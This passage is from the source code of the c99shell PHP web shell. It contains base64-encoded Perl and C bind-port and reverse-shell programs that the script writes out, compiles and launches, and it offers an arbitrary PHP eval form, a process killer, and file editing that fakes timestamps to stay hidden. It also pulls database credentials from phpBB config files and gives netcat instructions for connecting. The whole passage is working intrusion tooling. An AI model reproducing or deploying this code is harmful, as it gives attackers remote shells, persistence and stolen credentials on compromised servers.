2051   echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>";
2052   echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>";
2053   if ($usefsbuff)
2054   {
2055    echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>";
2056    echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>";
2057    echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>";
2058   }
2059   echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>";
2060   echo "</form>";
2061  }
2062 }
2063 if ($act == "bind")
2064 {
2065  $bndsrcs = array(
2066 "c99sh_bindport.pl"=>
2067 "IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW".
2068 "WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI".
2069 "TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V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DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk".
2113 "YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g".
2114 "aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh".
2115 "cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy".
2116 "XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg".
2117 "DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1".
2118 "Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0".
2119 "KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo".
2120 "ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi".
2121 "c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="
2122 );
2123  $bndportsrcs = array(
2124 "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
2125 "c99sh_bindport.c"=>array("Using C","%path %port %pass")
2126 );
2127  $bcsrcs = array(
2128 "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
2129 "c99sh_backconn.c"=>array("Using C","%path %host %port")
2130 );
2131  if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";}
2132  else
2133  {
2134   if (!is_array($bind)) {$bind = array();}
2135   if (!is_array($bc)) {$bc = array();}
2136   if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
2137   if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
2138   if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;}
2139   if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;}
2140   if (!empty($bindsubmit))
2141   {
2142    echo "<b>Result of binding port:</b><br>";
2143    $v = $bndportsrcs[$bind["src"]];
2144    if (empty($v)) {echo "Unknown file!<br>";}
2145    elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
2146    else
2147    {
2148     $srcpath = $tmpdir.$bind["src"];
2149     $w = explode(".",$bind["src"]);
2150     $ext = $w[count($w)-1];
2151     unset($w[count($w)-1]);
2152     $binpath = $tmpdir.join(".",$w);
2153     if ($ext == "pl") {$binpath = $srcpath;}
2154     @unlink($srcpath);
2155     $fp = fopen($srcpath,"ab+");
2156     if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2157     else
2158     {
2159      $data = base64_decode($bndsrcs[$bind["src"]]);
2160      fwrite($fp,$data,strlen($data));
2161      fclose($fp);
2162      if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
2163      $v[1] = str_replace("%path",$binpath,$v[1]);
2164      $v[1] = str_replace("%port",$bind["port"],$v[1]);
2165      $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
2166      $v[1] = str_replace("//","/",$v[1]);
2167      $retbind = myshellexec($v[1]." > /dev/null &");
2168      sleep(5);
2169      $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
2170      if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
2171      else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
2172     }
2173     echo "<br>";
2174    }
2175   }
2176   if (!empty($bcsubmit))
2177   {
2178    echo "<b>Result of back connection:</b><br>";
2179    $v = $bcsrcs[$bc["src"]];
2180    if (empty($v)) {echo "Unknown file!<br>";}
2181    else
2182    {
2183     $srcpath = $tmpdir.$bc["src"];
2184     $w = explode(".",$bc["src"]);
2185     $ext = $w[count($w)-1];
2186     unset($w[count($w)-1]);
2187     $binpath = $tmpdir.join(".",$w);
2188     if ($ext == "pl") {$binpath = $srcpath;}
2189     @unlink($srcpath);
2190     $fp = fopen($srcpath,"ab+");
2191     if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2192     else
2193     {
2194      $data = base64_decode($bndsrcs[$bind[src]]);
2195      fwrite($fp,$data,strlen($data));
2196      fclose($fp);
2197      if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2198      $v[1] = str_replace("%path",$binpath,$v[1]);
2199      $v[1] = str_replace("%host",$bc["host"],$v[1]);
2200      $v[1] = str_replace("%port",$bc["port"],$v[1]);
2201      $v[1] = str_replace("//","/",$v[1]);
2202      $retbind = myshellexec($v[1]." > /dev/null &");
2203      echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>";
2204     }
2205    }
2206   }
2207   ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
2208 foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2209 ?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form>
2210 <b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
2211 foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2212 ?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form>
2213 Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <port></b>"!<?php
2214  }
2215 }
2216 if ($act == "ps_aux")
2217 {
2218  echo "<b>Processes:</b><br>";
2219  if ($win) {echo "This function not work in Windows!<br><br>";}
2220  else
2221  {
2222   if ($pid)
2223   {
2224    if (!$sig) {$sig = 9;}
2225    echo "Sending signal ".$sig." to #".$pid."... ";
2226    $ret = posix_kill($pid,$sig);
2227    if ($ret) {echo "ok. he is dead, amen.";}
2228    else {echo "ERROR.";}
2229   }
2230   $ret = myshellexec("ps -aux");
2231   if (!$ret) {echo "Can't execute \"ps -aux\"!";}
2232   else
2233   {
2234    $ret = htmlspecialchars($ret);
2235    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
2236    $stack = explode("\n",$ret);
2237    $head = explode(" ",$stack[0]);
2238    unset($stack[0]);
2239    if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
2240    if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
2241    $k = $ps_aux_sort[0];
2242    if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2243    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2244    for($i=0;$i<count($head);$i++)
2245    {
2246     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";}
2247    }
2248    $prcs = array();
2249    foreach ($stack as $line)
2250    {
2251     if (!empty($line))
2252    {
2253     echo "<tr>";
2254      $line = explode(" ",$line);
2255      $line[10] = join(" ",array_slice($line,10,count($line)));
2256      $line = array_slice($line,0,11);
2257      if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";}
2258      $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2259      $prcs[] = $line;
2260      echo "</tr>";
2261     }
2262    }
2263    $head[$k] = "<b>".$head[$k]."</b>".$y;
2264    $head[] = "<b>ACTION</b>";
2265    $v = $ps_aux_sort[0];
2266    usort($prcs,"tabsort");
2267    if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
2268    $tab = array();
2269    $tab[] = $head;
2270    $tab = array_merge($tab,$prcs);
2271    echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
2272    foreach($tab as $k)
2273    {
2274     echo "<tr>";
2275     foreach($k as $v) {echo "<td>".$v."</td>";}
2276     echo "</tr>";
2277    }
2278    echo "</table>";
2279   }
2280  }
2281 }
2282 if ($act == "eval")
2283 {
2284  if (!empty($eval))
2285  {
2286   echo "<b>Result of execution this PHP-code</b>:<br>";
2287   $tmp = ob_get_contents();
2288   $olddir = realpath(".");
2289   @chdir($d);
2290   if ($tmp)
2291   {
2292    ob_clean();
2293    eval($eval);
2294    $ret = ob_get_contents();
2295    $ret = convert_cyr_string($ret,"d","w");
2296    ob_clean();
2297    echo $tmp;
2298    if ($eval_txt)
2299    {
2300     $rows = count(explode("\r\n",$ret))+1;
2301     if ($rows < 10) {$rows = 10;}
2302     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2303    }
2304    else {echo $ret."<br>";}
2305   }
2306   else
2307   {
2308    if ($eval_txt)
2309    {
2310     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
2311     eval($eval);
2312     echo "</textarea>";
2313    }
2314    else {echo $ret;}
2315   }
2316   @chdir($olddir);
2317  }
2318  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
2319  echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2320 }
2321 if ($act == "f")
2322 {
2323  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
2324  {
2325   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
2326   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
2327  }
2328  else
2329  {
2330   $r = @file_get_contents($d.$f);
2331   $ext = explode(".",$f);
2332   $c = count($ext)-1;
2333   $ext = $ext[$c];
2334   $ext = strtolower($ext);
2335   $rft = "";
2336   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2337   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2338   if (empty($ft)) {$ft = $rft;}
2339   $arr = array(
2340    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2341    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2342    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2343    array("Code","code"),
2344    array("Session","phpsess"),
2345    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2346    array("SDB","sdb"),
2347    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2348    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2349    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2350    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2351    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2352   );
2353   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2354   foreach($arr as $t)
2355   {
2356    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";}
2357    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2358    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2359    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2360   }
2361   echo "<hr size=\"1\" noshade>";
2362   if ($ft == "info")
2363   {
2364    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2365    if (!$win)
2366    {
2367     echo "<tr><td><b>Owner/Group</b></td><td> ";      
2368     $tmp = posix_getpwuid(fileowner($d.$f));
2369     if ($tmp["name"] == "") {echo fileowner($d.$f)."/";}
2370     else {echo $tmp["name"]."/";}
2371     $tmp = posix_getgrgid(filegroup($d.$f));
2372     if ($tmp["name"] == "") {echo filegroup($d.$f);}
2373     else {echo $tmp['name'];}
2374    }
2375    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
2376    $fi = fopen($d.$f,"rb");
2377    if ($fi)
2378    {
2379     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2380     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2381     $n = 0;
2382     $a0 = "00000000<br>";
2383     $a1 = "";
2384     $a2 = "";
2385     for ($i=0; $i<strlen($str); $i++)
2386     {
2387      $a1 .= sprintf("%02X",ord($str[$i]))." ";
2388      switch (ord($str[$i]))
2389      {
2390       case 0:  $a2 .= "<font>0</font>"; break;
2391       case 32: 
2392       case 10:
2393       case 13: $a2 .= "&nbsp;"; break;
2394       default: $a2 .= htmlspecialchars($str[$i]);
2395      }
2396      $n++;
2397      if ($n == $hexdump_rows)
2398      {
2399       $n = 0;
2400       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2401       $a1 .= "<br>";
2402       $a2 .= "<br>";
2403      }
2404     }
2405     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
2406     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
2407    }
2408    $encoded = "";
2409    if ($base64 == 1)
2410    {
2411     echo "<b>Base64 Encode</b><br>";
2412     $encoded = base64_encode(file_get_contents($d.$f));
2413    }
2414    elseif($base64 == 2)
2415    {
2416     echo "<b>Base64 Encode + Chunk</b><br>";
2417     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2418    }
2419    elseif($base64 == 3)
2420    {
2421     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2422     $encoded = base64_encode(file_get_contents($d.$f));
2423     $encoded = substr(preg_replace("!.{1,76}!","'\&#92;&#48;'.\n",$encoded),0,-2);
2424    }
2425    elseif($base64 == 4)
2426    {
2427     $text = file_get_contents($d.$f);
2428     $encoded = base64_decode($text);
2429     echo "<b>Base64 Decode";
2430     if (base64_encode($encoded) != $text) {echo " (failed)";}
2431     echo "</b><br>";
2432    }
2433    if (!empty($encoded))
2434    {
2435     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2436    }
2437    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2438 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
2439 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
2440 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
2441 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
2442 <P>";
2443   }
2444   elseif ($ft == "html")
2445   {
2446    if ($white) {@ob_clean();}
2447    echo $r;
2448    if ($white) {exit;}
2449   }
2450   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2451   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
2452   elseif ($ft == "phpsess")
2453   {
2454    echo "<pre>";
2455    $v = explode("|",$r);
2456    echo $v[0]."<br>";
2457    var_dump(unserialize($v[1]));
2458    echo "</pre>";
2459   }
2460   elseif ($ft == "exe")
2461   {
2462    $ext = explode(".",$f);
2463    $c = count($ext)-1;
2464    $ext = $ext[$c];
2465    $ext = strtolower($ext);
2466    $rft = "";
2467    foreach($exeftypes as $k=>$v)
2468    {
2469     if (in_array($ext,$v)) {$rft = $k; break;}
2470    }
2471    $cmd = str_replace("%f%",$f,$rft);
2472    echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>";
2473   }
2474   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2475   elseif ($ft == "code")
2476   {
2477    if (ereg("phpBB 2.(.*) auto-generated config file",$r))
2478    {
2479     $arr = explode("\n",$r);
2480     if (count($arr == 18))
2481     {
2482      include($d.$f);
2483      echo "<b>phpBB configuration is detected in this file!<br>";
2484      if ($dbms == "mysql4") {$dbms = "mysql";}
2485      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2486      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
2487      echo "Parameters for manual connect:<br>";
2488      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2489      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2490      echo "</b><hr size=\"1\" noshade>";
2491     }
2492    }
2493    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2494    if (!empty($white)) {@ob_clean();}
2495    highlight_file($d.$f);
2496    if (!empty($white)) {exit;}
2497    echo "</div>";
2498   }
2499   elseif ($ft == "download")
2500   {
2501    @ob_clean();
2502    header("Content-type: application/octet-stream");
2503    header("Content-length: ".filesize($d.$f));
2504    header("Content-disposition: attachment; filename=\"".$f."\";");
2505    echo $r;
2506    exit;
2507   }
2508   elseif ($ft == "notepad")
2509   {
2510    @ob_clean();
2511    header("Content-type: text/plain");
2512    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2513    echo($r);
2514    exit;
2515   }
2516   elseif ($ft == "img")
2517   {
2518    $inf = getimagesize($d.$f);
2519    if (!$white)
2520    {
2521     if (empty($imgsize)) {$imgsize = 20;}
2522     $width = $inf[0]/100*$imgsize;
2523     $height = $inf[1]/100*$imgsize;
2524     echo "<center><b>Size:</b>&nbsp;";
2525     $sizes = array("100","50","20");
2526     foreach ($sizes as $v)
2527     {
2528      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2529      if ($imgsize != $v ) {echo $v;}
2530      else {echo "<u>".$v."</u>";}
2531      echo "</a>&nbsp;&nbsp;&nbsp;";
2532     }
2533     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2534    }
2535    else
2536    {
2537     @ob_clean();
2538     $ext = explode($f,".");
2539     $ext = $ext[count($ext)-1];
2540     header("Content-type: ".$inf["mime"]); 
2541     readfile($d.$f);
2542     exit;
2543    }
2544   }
2545   elseif ($ft == "edit")
2546   {
2547    if (!empty($submit))
2548    {
2549     if ($filestealth) {$stat = stat($d.$f);}
2550     $fp = fopen($d.$f,"w");
2551     if (!$fp) {echo "<b>Can't write to file!</b>";}
2552     else
2553     {
2554      echo "<b>Saved!</b>";
2555      fwrite($fp,$edit_text);
2556      fclose($fp);
2557      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2558      $r = $edit_text;
2559     }
2560    }
2561    $rows = count(explode("\r\n",$r));
2562    if ($rows < 10) {$rows = 10;}
2563    if ($rows > 30) {$rows = 30;}
2564    echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2565   }
2566   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2567   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
2568  }
2569 }
2570 }
2571 else
2572 {
2573  @ob_clean();
2574  $images = array(
2575 "arrow_ltr"=>
2576 "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2577 "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2578 "back"=>
2579 "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2580 "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2581 "Wg0JADs=",
2582 "buffer"=>
2583 "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2584 "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
2585 "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2586 "change"=>
2587 "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2588 "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2589 "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2590 "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2591 "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2592 "zMshADs=",
2593 "delete"=>
2594 "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
2595 "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
2596 "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2597 "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2598 "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2599 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2600 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2601 "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2602 "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2603 "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2604 "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2605 "download"=>
2606 "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2607 "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2608 "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2609 "forward"=>
2610 "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2611 "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2612 "WqsJADs=",
2613 "home"=>
2614 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
